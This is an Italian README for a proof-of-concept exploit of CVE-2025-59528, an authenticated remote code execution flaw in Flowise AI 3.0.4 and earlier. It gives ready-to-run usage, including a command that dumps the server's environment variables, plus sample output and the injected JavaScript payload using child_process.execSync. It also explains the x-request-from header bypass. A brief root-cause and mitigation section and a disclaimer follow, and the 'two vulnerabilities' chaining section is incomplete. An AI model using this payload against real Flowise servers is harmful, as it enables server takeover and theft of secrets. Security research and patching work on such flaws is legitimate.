
Exploit PoC in Python per CVE-2025-59528, che consente RCE autenticato su Flowise AI <= 3.0.4 tramite l'endpoint customMCP e Node.js child_process.execSync.
ID CVE: CVE-2025-59528
Software interessato: Flowise AI
Versioni vulnerabili: <= 3.0.4
Versione corretta: 3.0.5 e successive
Gravità: Critica
Autore: arensballiu
Data: 2025
Le versioni di Flowise AI fino alla 3.0.4 inclusa consentono a un utente autenticato di ottenere l'Esecuzione Remota di Codice (RCE) sul server host inviando un payload JavaScript appositamente costruito all'endpoint /api/v1/node-load-method/customMCP.
Il metodo di caricamento del nodo customMCP accetta input controllato dall'utente che viene valutato lato server come JavaScript, senza adeguata sanificazione o sandboxing. Iniettando un payload che sfrutta child_process.execSync di Node.js, un attaccante può eseguire comandi arbitrari del sistema operativo con i privilegi del processo del server Flowise.
L'endpoint richiede inoltre la presenza dell'header .
x-request-from: internal| Endpoint | Metodo | Autenticazione richiesta | Scopo |
|---|---|---|---|
/api/v1/auth/login | POST | No | Autenticarsi e ottenere la sessione |
/api/v1/node-load-method/customMCP | POST | Sì (cookie di sessione) | Endpoint vulnerabile del metodo di caricamento del nodo |
File: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Flag | Forma estesa | Obbligatorio | Descrizione |
|---|---|---|---|
-e | --email | Sì | Indirizzo email dell'utente autenticato |
-i | --url | Sì | URL di base dell'istanza Flowise |
-p | --password | Sì | Password dell'utente autenticato |
-c | --cmd | Sì | Comando del sistema operativo da eseguire sul server |
Verificare l'esecuzione del codice:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Recuperare le variabili d'ambiente del server:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
L'exploit inietta la seguente espressione JavaScript nel campo mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — carica il modulo integrato di Node.js per l'esecuzione di processi.execSync('<command>') — esegue in modo sincrono il comando del sistema operativo fornito dall'attaccante.L'header x-request-from: internal viene inoltre aggiunto alla richiesta per superare un controllo di origine interno che altrimenti bloccherebbe la chiamata.
L'endpoint customMCP passa l'input fornito dall'utente direttamente in un contesto di valutazione JavaScript sul server senza sanificazione o sandboxing. Combinato con l'accesso non limitato ai moduli core di Node.js (in particolare child_process) tramite process.mainModule.require, questo crea un vettore RCE banalmente sfruttabile. Il controllo dell'header x-request-from non fornisce alcun confine di sicurezza significativo poiché non viene validato rispetto a nessuna fonte attendibile.
Queste due vulnerabilità possono essere concatenate per un percorso di attacco RCE non autenticato contro istanze Flowise che eseguono versioni <= 3.0.4:
child_process, fs, ecc.) tramite un sandbox adeguato (ad esempio vm2, contesti isolati o rimozione dell'accesso a process.mainModule).x-request-from tramite un meccanismo lato server anziché un semplice controllo di stringa.Questo proof of concept è fornito esclusivamente a scopo educativo e di ricerca sulla sicurezza autorizzata. L'uso di questo script contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. L'autore e i contributori non si assumono alcuna responsabilità per un uso improprio.